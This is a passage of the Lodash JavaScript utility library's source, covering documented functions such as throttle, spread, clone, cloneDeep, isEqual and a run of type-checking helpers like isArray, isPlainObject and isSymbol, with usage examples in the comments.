     * // => 'fred says hello'
     *
     * var numbers = Promise.all([
     *   Promise.resolve(40),
     *   Promise.resolve(36)
     * ]);
     *
     * numbers.then(_.spread(function(x, y) {
     *   return x + y;
     * }));
     * // => a Promise of 76
     */
    function spread(func, start) {
      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      start = start == null ? 0 : nativeMax(toInteger(start), 0);
      return baseRest(function(args) {
        var array = args[start],
            otherArgs = castSlice(args, 0, start);

        if (array) {
          arrayPush(otherArgs, array);
        }
        return apply(func, this, otherArgs);
      });
    }

    /**
     * Creates a throttled function that only invokes `func` at most once per
     * every `wait` milliseconds. The throttled function comes with a `cancel`
     * method to cancel delayed `func` invocations and a `flush` method to
     * immediately invoke them. Provide `options` to indicate whether `func`
     * should be invoked on the leading and/or trailing edge of the `wait`
     * timeout. The `func` is invoked with the last arguments provided to the
     * throttled function. Subsequent calls to the throttled function return the
     * result of the last `func` invocation.
     *
     * **Note:** If `leading` and `trailing` options are `true`, `func` is
     * invoked on the trailing edge of the timeout only if the throttled function
     * is invoked more than once during the `wait` timeout.
     *
     * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
     * until to the next tick, similar to `setTimeout` with a timeout of `0`.
     *
     * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
     * for details over the differences between `_.throttle` and `_.debounce`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {Function} func The function to throttle.
     * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.leading=true]
     *  Specify invoking on the leading edge of the timeout.
     * @param {boolean} [options.trailing=true]
     *  Specify invoking on the trailing edge of the timeout.
     * @returns {Function} Returns the new throttled function.
     * @example
     *
     * // Avoid excessively updating the position while scrolling.
     * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
     *
     * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
     * var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
     * jQuery(element).on('click', throttled);
     *
     * // Cancel the trailing throttled invocation.
     * jQuery(window).on('popstate', throttled.cancel);
     */
    function throttle(func, wait, options) {
      var leading = true,
          trailing = true;

      if (typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      if (isObject(options)) {
        leading = 'leading' in options ? !!options.leading : leading;
        trailing = 'trailing' in options ? !!options.trailing : trailing;
      }
      return debounce(func, wait, {
        'leading': leading,
        'maxWait': wait,
        'trailing': trailing
      });
    }

    /**
     * Creates a function that accepts up to one argument, ignoring any
     * additional arguments.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Function
     * @param {Function} func The function to cap arguments for.
     * @returns {Function} Returns the new capped function.
     * @example
     *
     * _.map(['6', '8', '10'], _.unary(parseInt));
     * // => [6, 8, 10]
     */
    function unary(func) {
      return ary(func, 1);
    }

    /**
     * Creates a function that provides `value` to `wrapper` as its first
     * argument. Any additional arguments provided to the function are appended
     * to those provided to the `wrapper`. The wrapper is invoked with the `this`
     * binding of the created function.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Function
     * @param {*} value The value to wrap.
     * @param {Function} [wrapper=identity] The wrapper function.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var p = _.wrap(_.escape, function(func, text) {
     *   return '<p>' + func(text) + '</p>';
     * });
     *
     * p('fred, barney, & pebbles');
     * // => '<p>fred, barney, &amp; pebbles</p>'
     */
    function wrap(value, wrapper) {
      return partial(castFunction(wrapper), value);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Casts `value` as an array if it's not one.
     *
     * @static
     * @memberOf _
     * @since 4.4.0
     * @category Lang
     * @param {*} value The value to inspect.
     * @returns {Array} Returns the cast array.
     * @example
     *
     * _.castArray(1);
     * // => [1]
     *
     * _.castArray({ 'a': 1 });
     * // => [{ 'a': 1 }]
     *
     * _.castArray('abc');
     * // => ['abc']
     *
     * _.castArray(null);
     * // => [null]
     *
     * _.castArray(undefined);
     * // => [undefined]
     *
     * _.castArray();
     * // => []
     *
     * var array = [1, 2, 3];
     * console.log(_.castArray(array) === array);
     * // => true
     */
    function castArray() {
      if (!arguments.length) {
        return [];
      }
      var value = arguments[0];
      return isArray(value) ? value : [value];
    }

    /**
     * Creates a shallow clone of `value`.
     *
     * **Note:** This method is loosely based on the
     * [structured clone algorithm](https://mdn.io/Structured_clone_algorithm)
     * and supports cloning arrays, array buffers, booleans, date objects, maps,
     * numbers, `Object` objects, regexes, sets, strings, symbols, and typed
     * arrays. The own enumerable properties of `arguments` objects are cloned
     * as plain objects. An empty object is returned for uncloneable values such
     * as error objects, functions, DOM nodes, and WeakMaps.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to clone.
     * @returns {*} Returns the cloned value.
     * @see _.cloneDeep
     * @example
     *
     * var objects = [{ 'a': 1 }, { 'b': 2 }];
     *
     * var shallow = _.clone(objects);
     * console.log(shallow[0] === objects[0]);
     * // => true
     */
    function clone(value) {
      return baseClone(value, CLONE_SYMBOLS_FLAG);
    }

    /**
     * This method is like `_.clone` except that it accepts `customizer` which
     * is invoked to produce the cloned value. If `customizer` returns `undefined`,
     * cloning is handled by the method instead. The `customizer` is invoked with
     * up to four arguments; (value [, index|key, object, stack]).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to clone.
     * @param {Function} [customizer] The function to customize cloning.
     * @returns {*} Returns the cloned value.
     * @see _.cloneDeepWith
     * @example
     *
     * function customizer(value) {
     *   if (_.isElement(value)) {
     *     return value.cloneNode(false);
     *   }
     * }
     *
     * var el = _.cloneWith(document.body, customizer);
     *
     * console.log(el === document.body);
     * // => false
     * console.log(el.nodeName);
     * // => 'BODY'
     * console.log(el.childNodes.length);
     * // => 0
     */
    function cloneWith(value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseClone(value, CLONE_SYMBOLS_FLAG, customizer);
    }

    /**
     * This method is like `_.clone` except that it recursively clones `value`.
     *
     * @static
     * @memberOf _
     * @since 1.0.0
     * @category Lang
     * @param {*} value The value to recursively clone.
     * @returns {*} Returns the deep cloned value.
     * @see _.clone
     * @example
     *
     * var objects = [{ 'a': 1 }, { 'b': 2 }];
     *
     * var deep = _.cloneDeep(objects);
     * console.log(deep[0] === objects[0]);
     * // => false
     */
    function cloneDeep(value) {
      return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG);
    }

    /**
     * This method is like `_.cloneWith` except that it recursively clones `value`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to recursively clone.
     * @param {Function} [customizer] The function to customize cloning.
     * @returns {*} Returns the deep cloned value.
     * @see _.cloneWith
     * @example
     *
     * function customizer(value) {
     *   if (_.isElement(value)) {
     *     return value.cloneNode(true);
     *   }
     * }
     *
     * var el = _.cloneDeepWith(document.body, customizer);
     *
     * console.log(el === document.body);
     * // => false
     * console.log(el.nodeName);
     * // => 'BODY'
     * console.log(el.childNodes.length);
     * // => 20
     */
    function cloneDeepWith(value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG, customizer);
    }

    /**
     * Checks if `object` conforms to `source` by invoking the predicate
     * properties of `source` with the corresponding property values of `object`.
     *
     * **Note:** This method is equivalent to `_.conforms` when `source` is
     * partially applied.
     *
     * @static
     * @memberOf _
     * @since 4.14.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property predicates to conform to.
     * @returns {boolean} Returns `true` if `object` conforms, else `false`.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     *
     * _.conformsTo(object, { 'b': function(n) { return n > 1; } });
     * // => true
     *
     * _.conformsTo(object, { 'b': function(n) { return n > 2; } });
     * // => false
     */
    function conformsTo(object, source) {
      return source == null || baseConformsTo(object, source, keys(source));
    }

    /**
     * Performs a
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * comparison between two values to determine if they are equivalent.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * var object = { 'a': 1 };
     * var other = { 'a': 1 };
     *
     * _.eq(object, object);
     * // => true
     *
     * _.eq(object, other);
     * // => false
     *
     * _.eq('a', 'a');
     * // => true
     *
     * _.eq('a', Object('a'));
     * // => false
     *
     * _.eq(NaN, NaN);
     * // => true
     */
    function eq(value, other) {
      return value === other || (value !== value && other !== other);
    }

    /**
     * Checks if `value` is greater than `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than `other`,
     *  else `false`.
     * @see _.lt
     * @example
     *
     * _.gt(3, 1);
     * // => true
     *
     * _.gt(3, 3);
     * // => false
     *
     * _.gt(1, 3);
     * // => false
     */
    var gt = createRelationalOperation(baseGt);

    /**
     * Checks if `value` is greater than or equal to `other`.
     *
     * @static
     * @memberOf _
     * @since 3.9.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if `value` is greater than or equal to
     *  `other`, else `false`.
     * @see _.lte
     * @example
     *
     * _.gte(3, 1);
     * // => true
     *
     * _.gte(3, 3);
     * // => true
     *
     * _.gte(1, 3);
     * // => false
     */
    var gte = createRelationalOperation(function(value, other) {
      return value >= other;
    });

    /**
     * Checks if `value` is likely an `arguments` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an `arguments` object,
     *  else `false`.
     * @example
     *
     * _.isArguments(function() { return arguments; }());
     * // => true
     *
     * _.isArguments([1, 2, 3]);
     * // => false
     */
    var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) {
      return isObjectLike(value) && hasOwnProperty.call(value, 'callee') &&
        !propertyIsEnumerable.call(value, 'callee');
    };

    /**
     * Checks if `value` is classified as an `Array` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array, else `false`.
     * @example
     *
     * _.isArray([1, 2, 3]);
     * // => true
     *
     * _.isArray(document.body.children);
     * // => false
     *
     * _.isArray('abc');
     * // => false
     *
     * _.isArray(_.noop);
     * // => false
     */
    var isArray = Array.isArray;

    /**
     * Checks if `value` is classified as an `ArrayBuffer` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
     * @example
     *
     * _.isArrayBuffer(new ArrayBuffer(2));
     * // => true
     *
     * _.isArrayBuffer(new Array(2));
     * // => false
     */
    var isArrayBuffer = nodeIsArrayBuffer ? baseUnary(nodeIsArrayBuffer) : baseIsArrayBuffer;

    /**
     * Checks if `value` is array-like. A value is considered array-like if it's
     * not a function and has a `value.length` that's an integer greater than or
     * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is array-like, else `false`.
     * @example
     *
     * _.isArrayLike([1, 2, 3]);
     * // => true
     *
     * _.isArrayLike(document.body.children);
     * // => true
     *
     * _.isArrayLike('abc');
     * // => true
     *
     * _.isArrayLike(_.noop);
     * // => false
     */
    function isArrayLike(value) {
      return value != null && isLength(value.length) && !isFunction(value);
    }

    /**
     * This method is like `_.isArrayLike` except that it also checks if `value`
     * is an object.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an array-like object,
     *  else `false`.
     * @example
     *
     * _.isArrayLikeObject([1, 2, 3]);
     * // => true
     *
     * _.isArrayLikeObject(document.body.children);
     * // => true
     *
     * _.isArrayLikeObject('abc');
     * // => false
     *
     * _.isArrayLikeObject(_.noop);
     * // => false
     */
    function isArrayLikeObject(value) {
      return isObjectLike(value) && isArrayLike(value);
    }

    /**
     * Checks if `value` is classified as a boolean primitive or object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a boolean, else `false`.
     * @example
     *
     * _.isBoolean(false);
     * // => true
     *
     * _.isBoolean(null);
     * // => false
     */
    function isBoolean(value) {
      return value === true || value === false ||
        (isObjectLike(value) && baseGetTag(value) == boolTag);
    }

    /**
     * Checks if `value` is a buffer.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a buffer, else `false`.
     * @example
     *
     * _.isBuffer(new Buffer(2));
     * // => true
     *
     * _.isBuffer(new Uint8Array(2));
     * // => false
     */
    var isBuffer = nativeIsBuffer || stubFalse;

    /**
     * Checks if `value` is classified as a `Date` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
     * @example
     *
     * _.isDate(new Date);
     * // => true
     *
     * _.isDate('Mon April 23 2012');
     * // => false
     */
    var isDate = nodeIsDate ? baseUnary(nodeIsDate) : baseIsDate;

    /**
     * Checks if `value` is likely a DOM element.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a DOM element, else `false`.
     * @example
     *
     * _.isElement(document.body);
     * // => true
     *
     * _.isElement('<body>');
     * // => false
     */
    function isElement(value) {
      return isObjectLike(value) && value.nodeType === 1 && !isPlainObject(value);
    }

    /**
     * Checks if `value` is an empty object, collection, map, or set.
     *
     * Objects are considered empty if they have no own enumerable string keyed
     * properties.
     *
     * Array-like values such as `arguments` objects, arrays, buffers, strings, or
     * jQuery-like collections are considered empty if they have a `length` of `0`.
     * Similarly, maps and sets are considered empty if they have a `size` of `0`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is empty, else `false`.
     * @example
     *
     * _.isEmpty(null);
     * // => true
     *
     * _.isEmpty(true);
     * // => true
     *
     * _.isEmpty(1);
     * // => true
     *
     * _.isEmpty([1, 2, 3]);
     * // => false
     *
     * _.isEmpty({ 'a': 1 });
     * // => false
     */
    function isEmpty(value) {
      if (value == null) {
        return true;
      }
      if (isArrayLike(value) &&
          (isArray(value) || typeof value == 'string' || typeof value.splice == 'function' ||
            isBuffer(value) || isTypedArray(value) || isArguments(value))) {
        return !value.length;
      }
      var tag = getTag(value);
      if (tag == mapTag || tag == setTag) {
        return !value.size;
      }
      if (isPrototype(value)) {
        return !baseKeys(value).length;
      }
      for (var key in value) {
        if (hasOwnProperty.call(value, key)) {
          return false;
        }
      }
      return true;
    }

    /**
     * Performs a deep comparison between two values to determine if they are
     * equivalent.
     *
     * **Note:** This method supports comparing arrays, array buffers, booleans,
     * date objects, error objects, maps, numbers, `Object` objects, regexes,
     * sets, strings, symbols, and typed arrays. `Object` objects are compared
     * by their own, not inherited, enumerable properties. Functions and DOM
     * nodes are compared by strict equality, i.e. `===`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * var object = { 'a': 1 };
     * var other = { 'a': 1 };
     *
     * _.isEqual(object, other);
     * // => true
     *
     * object === other;
     * // => false
     */
    function isEqual(value, other) {
      return baseIsEqual(value, other);
    }

    /**
     * This method is like `_.isEqual` except that it accepts `customizer` which
     * is invoked to compare values. If `customizer` returns `undefined`, comparisons
     * are handled by the method instead. The `customizer` is invoked with up to
     * six arguments: (objValue, othValue [, index|key, object, other, stack]).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
     * @example
     *
     * function isGreeting(value) {
     *   return /^h(?:i|ello)$/.test(value);
     * }
     *
     * function customizer(objValue, othValue) {
     *   if (isGreeting(objValue) && isGreeting(othValue)) {
     *     return true;
     *   }
     * }
     *
     * var array = ['hello', 'goodbye'];
     * var other = ['hi', 'goodbye'];
     *
     * _.isEqualWith(array, other, customizer);
     * // => true
     */
    function isEqualWith(value, other, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      var result = customizer ? customizer(value, other) : undefined;
      return result === undefined ? baseIsEqual(value, other, undefined, customizer) : !!result;
    }

    /**
     * Checks if `value` is an `Error`, `EvalError`, `RangeError`, `ReferenceError`,
     * `SyntaxError`, `TypeError`, or `URIError` object.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an error object, else `false`.
     * @example
     *
     * _.isError(new Error);
     * // => true
     *
     * _.isError(Error);
     * // => false
     */
    function isError(value) {
      if (!isObjectLike(value)) {
        return false;
      }
      var tag = baseGetTag(value);
      return tag == errorTag || tag == domExcTag ||
        (typeof value.message == 'string' && typeof value.name == 'string' && !isPlainObject(value));
    }

    /**
     * Checks if `value` is a finite primitive number.
     *
     * **Note:** This method is based on
     * [`Number.isFinite`](https://mdn.io/Number/isFinite).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a finite number, else `false`.
     * @example
     *
     * _.isFinite(3);
     * // => true
     *
     * _.isFinite(Number.MIN_VALUE);
     * // => true
     *
     * _.isFinite(Infinity);
     * // => false
     *
     * _.isFinite('3');
     * // => false
     */
    function isFinite(value) {
      return typeof value == 'number' && nativeIsFinite(value);
    }

    /**
     * Checks if `value` is classified as a `Function` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a function, else `false`.
     * @example
     *
     * _.isFunction(_);
     * // => true
     *
     * _.isFunction(/abc/);
     * // => false
     */
    function isFunction(value) {
      if (!isObject(value)) {
        return false;
      }
      // The use of `Object#toString` avoids issues with the `typeof` operator
      // in Safari 9 which returns 'object' for typed arrays and other constructors.
      var tag = baseGetTag(value);
      return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag;
    }

    /**
     * Checks if `value` is an integer.
     *
     * **Note:** This method is based on
     * [`Number.isInteger`](https://mdn.io/Number/isInteger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an integer, else `false`.
     * @example
     *
     * _.isInteger(3);
     * // => true
     *
     * _.isInteger(Number.MIN_VALUE);
     * // => false
     *
     * _.isInteger(Infinity);
     * // => false
     *
     * _.isInteger('3');
     * // => false
     */
    function isInteger(value) {
      return typeof value == 'number' && value == toInteger(value);
    }

    /**
     * Checks if `value` is a valid array-like length.
     *
     * **Note:** This method is loosely based on
     * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
     * @example
     *
     * _.isLength(3);
     * // => true
     *
     * _.isLength(Number.MIN_VALUE);
     * // => false
     *
     * _.isLength(Infinity);
     * // => false
     *
     * _.isLength('3');
     * // => false
     */
    function isLength(value) {
      return typeof value == 'number' &&
        value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
    }

    /**
     * Checks if `value` is the
     * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
     * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is an object, else `false`.
     * @example
     *
     * _.isObject({});
     * // => true
     *
     * _.isObject([1, 2, 3]);
     * // => true
     *
     * _.isObject(_.noop);
     * // => true
     *
     * _.isObject(null);
     * // => false
     */
    function isObject(value) {
      var type = typeof value;
      return value != null && (type == 'object' || type == 'function');
    }

    /**
     * Checks if `value` is object-like. A value is object-like if it's not `null`
     * and has a `typeof` result of "object".
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
     * @example
     *
     * _.isObjectLike({});
     * // => true
     *
     * _.isObjectLike([1, 2, 3]);
     * // => true
     *
     * _.isObjectLike(_.noop);
     * // => false
     *
     * _.isObjectLike(null);
     * // => false
     */
    function isObjectLike(value) {
      return value != null && typeof value == 'object';
    }

    /**
     * Checks if `value` is classified as a `Map` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a map, else `false`.
     * @example
     *
     * _.isMap(new Map);
     * // => true
     *
     * _.isMap(new WeakMap);
     * // => false
     */
    var isMap = nodeIsMap ? baseUnary(nodeIsMap) : baseIsMap;

    /**
     * Performs a partial deep comparison between `object` and `source` to
     * determine if `object` contains equivalent property values.
     *
     * **Note:** This method is equivalent to `_.matches` when `source` is
     * partially applied.
     *
     * Partial comparisons will match empty array and empty object `source`
     * values against any array or object value, respectively. See `_.isEqual`
     * for a list of supported value comparisons.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     * @example
     *
     * var object = { 'a': 1, 'b': 2 };
     *
     * _.isMatch(object, { 'b': 2 });
     * // => true
     *
     * _.isMatch(object, { 'b': 1 });
     * // => false
     */
    function isMatch(object, source) {
      return object === source || baseIsMatch(object, source, getMatchData(source));
    }

    /**
     * This method is like `_.isMatch` except that it accepts `customizer` which
     * is invoked to compare values. If `customizer` returns `undefined`, comparisons
     * are handled by the method instead. The `customizer` is invoked with five
     * arguments: (objValue, srcValue, index|key, object, source).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {Object} object The object to inspect.
     * @param {Object} source The object of property values to match.
     * @param {Function} [customizer] The function to customize comparisons.
     * @returns {boolean} Returns `true` if `object` is a match, else `false`.
     * @example
     *
     * function isGreeting(value) {
     *   return /^h(?:i|ello)$/.test(value);
     * }
     *
     * function customizer(objValue, srcValue) {
     *   if (isGreeting(objValue) && isGreeting(srcValue)) {
     *     return true;
     *   }
     * }
     *
     * var object = { 'greeting': 'hello' };
     * var source = { 'greeting': 'hi' };
     *
     * _.isMatchWith(object, source, customizer);
     * // => true
     */
    function isMatchWith(object, source, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return baseIsMatch(object, source, getMatchData(source), customizer);
    }

    /**
     * Checks if `value` is `NaN`.
     *
     * **Note:** This method is based on
     * [`Number.isNaN`](https://mdn.io/Number/isNaN) and is not the same as
     * global [`isNaN`](https://mdn.io/isNaN) which returns `true` for
     * `undefined` and other non-number values.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
     * @example
     *
     * _.isNaN(NaN);
     * // => true
     *
     * _.isNaN(new Number(NaN));
     * // => true
     *
     * isNaN(undefined);
     * // => true
     *
     * _.isNaN(undefined);
     * // => false
     */
    function isNaN(value) {
      // An `NaN` primitive is the only value that is not equal to itself.
      // Perform the `toStringTag` check first to avoid errors with some
      // ActiveX objects in IE.
      return isNumber(value) && value != +value;
    }

    /**
     * Checks if `value` is a pristine native function.
     *
     * **Note:** This method can't reliably detect native functions in the presence
     * of the core-js package because core-js circumvents this kind of detection.
     * Despite multiple requests, the core-js maintainer has made it clear: any
     * attempt to fix the detection will be obstructed. As a result, we're left
     * with little choice but to throw an error. Unfortunately, this also affects
     * packages, like [babel-polyfill](https://www.npmjs.com/package/babel-polyfill),
     * which rely on core-js.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a native function,
     *  else `false`.
     * @example
     *
     * _.isNative(Array.prototype.push);
     * // => true
     *
     * _.isNative(_);
     * // => false
     */
    function isNative(value) {
      if (isMaskable(value)) {
        throw new Error(CORE_ERROR_TEXT);
      }
      return baseIsNative(value);
    }

    /**
     * Checks if `value` is `null`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is `null`, else `false`.
     * @example
     *
     * _.isNull(null);
     * // => true
     *
     * _.isNull(void 0);
     * // => false
     */
    function isNull(value) {
      return value === null;
    }

    /**
     * Checks if `value` is `null` or `undefined`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is nullish, else `false`.
     * @example
     *
     * _.isNil(null);
     * // => true
     *
     * _.isNil(void 0);
     * // => true
     *
     * _.isNil(NaN);
     * // => false
     */
    function isNil(value) {
      return value == null;
    }

    /**
     * Checks if `value` is classified as a `Number` primitive or object.
     *
     * **Note:** To exclude `Infinity`, `-Infinity`, and `NaN`, which are
     * classified as numbers, use the `_.isFinite` method.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a number, else `false`.
     * @example
     *
     * _.isNumber(3);
     * // => true
     *
     * _.isNumber(Number.MIN_VALUE);
     * // => true
     *
     * _.isNumber(Infinity);
     * // => true
     *
     * _.isNumber('3');
     * // => false
     */
    function isNumber(value) {
      return typeof value == 'number' ||
        (isObjectLike(value) && baseGetTag(value) == numberTag);
    }

    /**
     * Checks if `value` is a plain object, that is, an object created by the
     * `Object` constructor or one with a `[[Prototype]]` of `null`.
     *
     * @static
     * @memberOf _
     * @since 0.8.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     * }
     *
     * _.isPlainObject(new Foo);
     * // => false
     *
     * _.isPlainObject([1, 2, 3]);
     * // => false
     *
     * _.isPlainObject({ 'x': 0, 'y': 0 });
     * // => true
     *
     * _.isPlainObject(Object.create(null));
     * // => true
     */
    function isPlainObject(value) {
      if (!isObjectLike(value) || baseGetTag(value) != objectTag) {
        return false;
      }
      var proto = getPrototype(value);
      if (proto === null) {
        return true;
      }
      var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
      return typeof Ctor == 'function' && Ctor instanceof Ctor &&
        funcToString.call(Ctor) == objectCtorString;
    }

    /**
     * Checks if `value` is classified as a `RegExp` object.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
     * @example
     *
     * _.isRegExp(/abc/);
     * // => true
     *
     * _.isRegExp('/abc/');
     * // => false
     */
    var isRegExp = nodeIsRegExp ? baseUnary(nodeIsRegExp) : baseIsRegExp;

    /**
     * Checks if `value` is a safe integer. An integer is safe if it's an IEEE-754
     * double precision number which isn't the result of a rounded unsafe integer.
     *
     * **Note:** This method is based on
     * [`Number.isSafeInteger`](https://mdn.io/Number/isSafeInteger).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a safe integer, else `false`.
     * @example
     *
     * _.isSafeInteger(3);
     * // => true
     *
     * _.isSafeInteger(Number.MIN_VALUE);
     * // => false
     *
     * _.isSafeInteger(Infinity);
     * // => false
     *
     * _.isSafeInteger('3');
     * // => false
     */
    function isSafeInteger(value) {
      return isInteger(value) && value >= -MAX_SAFE_INTEGER && value <= MAX_SAFE_INTEGER;
    }

    /**
     * Checks if `value` is classified as a `Set` object.
     *
     * @static
     * @memberOf _
     * @since 4.3.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a set, else `false`.
     * @example
     *
     * _.isSet(new Set);
     * // => true
     *
     * _.isSet(new WeakSet);
     * // => false
     */
    var isSet = nodeIsSet ? baseUnary(nodeIsSet) : baseIsSet;

    /**
     * Checks if `value` is classified as a `String` primitive or object.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a string, else `false`.
     * @example
     *
     * _.isString('abc');
     * // => true
     *
     * _.isString(1);
     * // => false
     */
    function isString(value) {
      return typeof value == 'string' ||
        (!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag);
    }

    /**
     * Checks if `value` is classified as a `Symbol` primitive or object.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Lang
     * @param {*} value The value to check.
     * @returns {boolean} Returns `true` if `value` is a symbol, else `false`.
     * @example
     *
     * _.isSymbol(Symbol.iterator);
     * // => true
     *
     * _.isSymbol('abc');
     * // => false
     */
    function isSymbol(value) {
      return typeof value == 'symbol' ||
        (isObjectLike(value) && baseGetTag(value) == symbolTag);
    }

    /**
